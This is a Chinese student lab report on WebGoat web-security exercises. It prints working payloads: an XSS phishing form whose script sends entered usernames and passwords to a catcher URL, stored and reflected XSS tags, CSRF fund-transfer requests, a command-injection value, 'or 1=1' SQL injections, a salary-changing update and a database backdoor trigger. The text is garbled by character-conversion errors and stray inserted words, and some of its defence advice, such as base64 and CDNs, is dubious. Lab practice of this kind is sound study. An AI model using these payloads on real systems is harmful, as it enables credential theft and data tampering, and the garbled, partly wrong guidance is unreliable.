20155330 《网络对抗》 Exp9 web安全基础实践

时间 2019-11-14

标签网络对抗 exp9 exp web 安全基础实践栏目 HTML 繁體版

原文原文链接

20155330 《网络对抗》 Exp9 web安全基础实践

实验问题回答

SQL注入攻击原理，如何防护
- 原理：SQL注入攻击值得是经过构建特殊的输入做为参数传入web应用程序，而这些输入大都是SQL语法里的一下组合，经过执行SQL语句进执行攻击者所要的操做，其主要缘由是程序没有细致的过滤用户输入的数据，导致非法数据侵入系统。
- 防护方法：
  - 采用sql语句预编译和绑定变量
  - 采用字符串拼接的方式，严格检查参数的数据类型
  - base64编码
  - 控制用户的权限，以及作好数据库自己的安全工做
XSS攻击的原理，如何防护
- 原理：XSS是一种常常出如今web应用中的计算机安全漏洞，它容许恶意web用户将代码植入到提供给其它用户使用的页面中。攻击者利用XSS漏洞旁路掉访问控制——例如同源策略(same origin policy)。这种类型的漏洞因为被黑客用来编写危害性更大的网络钓鱼(Phishing)攻击而变得广为人知。对于跨站脚本攻击，黑客界共识是：跨站脚本攻击是新型的“缓冲区溢出攻击“，而JavaScript是新型的“ShellCode”。
- 防护方法：
  - 输入检查：检查用户输入的数据中是否包含一些特殊字符，如<、>、'、"等，若是发现存在特殊字符，则将这些字符过滤或者编码。
  - 搭建CDN，隐藏服务器真实IP
  - 在表单提交或url参数传递前，对须要的参数进行过滤
CSRF攻击原理，如何防护
- 原理：经过假装来自受信任用户的请求来利用受信任的网站。依靠用户标识危害网站；利用网站对用户标识的信任；欺骗用户的浏览器发送HTTP请求给目标站点；还能够经过IMG标签会触发一个GET请求，能够利用它来实现CSRF攻击。
- 防护方法：
  - 验证 HTTP Referer 字段
  - 在请求地址中添加 token 并验证
  - 在 HTTP 头中自定义属性并验证
  - 对于用户修改删除等操做使用 post 操做前端
    
    实验总结与体会

此次实验作的可能是关于Web安全的练习，练习内容比较丰富，主要是SQL注入、CSRF攻击、XSS攻击三个部分的内容。经过学习实践对web开发常见的安全问题有了必定的了解。java

实践过程记录

WebGoat

终端输入java -jar webgoat-container-7.0.1-war-exec.jar开启WebGoat。
直到出现下图所示内容：
在浏览器地址栏输入localhost:8080/WebGoat打开WebGoat，选择默认帐号、密码登录。
web

XSS攻击

一、Phishing with XSS 跨站脚本钓鱼攻击
编写一个包含用户名、密码的前端代码：sql

<head>
<body>
<div>
<div style="float:left;height:100px;width:50%;background-color:green;"></div>
<div style="float:left;height:100px;width:50%;background-color:red;"></div>
</div>
<div style="background-color:blue;height:200px;clear:both;"></div>
 
</div></div>
</form>
  <script>
function hack(){ 
XSSImage=new Image;
XSSImage.src="http://localhost:8080/WebGoat/catcher?PROPERTY=yes&user=" + document.phish.user.value + "&password=" + document.phish.pass.value + "";
alert("attack.！！！！！！ Your credentials were just stolen. User Name = " + document.phish.user.value + " Password = " + document.phish.pass.value);
} 
  </script>
<form name="phish">
<br>
<br>
<HR>
  <H2>This feature requires account login:</H2>
<br>
  <br>Enter Username:<br>
  <input type="text" name="user">
  <br>Enter Password:<br>
  <input type="password" name = "pass">
<br>
  <input type="submit" name="login" value="login" onclick="hack()">
</form>
<br>
<br>
<HR>
</body>
</head>

在webgoat找到Cross-Site Scripting(XSS)，打开Phishing with XSS
将代码输入到框中，点击search出现登陆框：
输入用户名20155330，密码。
点击登陆后跳出包含用户名和密码的弹框：
数据库

二、Stored XSS Attacks 存储型XSS攻击
打开Stored XSS Attacks，在Message框中输入<script>alert("I am 20155330");</script>提交
点击提交后弹出显示I am 20155330的对话框。攻击成功！
浏览器

三、Reflected XSS Attacks 反射型XSS攻击
在code框中输入<script>alert("I am 20155330");</script>
点击Purchase出现显示I am 20155330的对话框。攻击成功！
安全

CSRF攻击

四、Cross Site Request Forgery(CSRF)
查看Parameters中的src和menu的值。
在Title中输入学号，Message中输入代码<img src='attack?Screen=src值&menu=menu值&transferFunds=转帐数额' width='1' height='1'>
提交后生成连接。
点击连接查看用户操做的信息，攻击成功。
服务器

五、CSRF Prompt By-Pass
查看Parameters中的src和menu的值。在Title中输入学号，Message中输入代码：

<iframe src="attack?Screen=src值&menu=menu值&transferFunds=转帐数额"> </iframe>
<iframe src="attack?Screen=src值&menu=menu值&transferFunds=CONFIRM"> </iframe>

提交代码生成连接。
点击连接查看用户操做的信息，攻击成功。
网络

SQL注入攻击

六、Command Injection
使用Firefox浏览器中的Firebug功能对源代码进行修改。在BackDoors.help旁边加上"& netstat -an & ipconfig"：
在下拉菜单中能看到修改后的值
选中修改后的值再点view，能够看到命令被执行，出现系统网络链接状况
xss

七、Numeric SQL Injection
选中Columbia，点Go，看到该城市的天气信息。
利用firebug，在任意一个值如101旁边加上or 1=1：
选中Columbia，点Go，能够看到全部天气数据：

八、Log Spoofing
在User Name文本框中输入zy%0d%0aLogin Succeeded for username: admin(%0d是回车，%0a是换行符)，点击登陆，攻击成功。

九、String SQL Injection
在文本框中输入' or 1='1。点Go，全部用户信息被显示，攻击成功。

十、LAB:SQL Injection(Stage 1:String SQL Injection)
以用户Neville登陆，在密码栏中输入' or 1='1进行SQL注入，注入前需对密码文本框的字符长度进行修改。
登陆成功。

十一、LAB:SQL Injection(Stage 3:Numeric SQL Injection)
根据Stage1中的登陆方法以用户名Larry登陆，登陆以后看到浏览员工信息的按钮是ViewProfile。利用Firebug将ViewProfile的value值改成101 or 1=1 order by salary desc --。
查看到老板信息。

十二、Database Backdoors
输入101获得用户信息。
输入注入语句：101; update employee set salary=10000，把该用户的工资涨到10000：
使用语句101;CREATE TRIGGER lxmBackDoor BEFORE INSERT ON employee FOR EACH ROW BEGIN UPDATE employee SET email='20155330@163.com' WHERE userid = NEW.userid建立一个后门，把表中全部的邮箱和用户ID都设为

1三、Blind Numeric SQL Injection
输入语句101 AND ((SELECT pin FROM pins WHERE cc_number='1111222233334444') > 10000 );查看pin数值是否大于10000
通过不断尝试，慢慢缩小范围，最终能够肯定pin的值在2300到2400之间。而后再尝试2300到2350或2350到2400，最后肯定pin值为2364。

20155330 《网络对抗》 Exp9 web安全基础实践

20155330 《网络对抗》 Exp9 web安全基础实践

实验问题回答

实验总结与体会

实践过程记录

WebGoat

XSS攻击

一、Phishing with XSS 跨站脚本钓鱼攻击

二、Stored XSS Attacks 存储型XSS攻击

三、Reflected XSS Attacks 反射型XSS攻击

CSRF攻击

四、Cross Site Request Forgery(CSRF)

五、CSRF Prompt By-Pass

SQL注入攻击

六、Command Injection

七、Numeric SQL Injection

八、Log Spoofing

九、String SQL Injection

十、LAB:SQL Injection(Stage 1:String SQL Injection)

十一、LAB:SQL Injection(Stage 3:Numeric SQL Injection)

十二、Database Backdoors

1三、Blind Numeric SQL Injection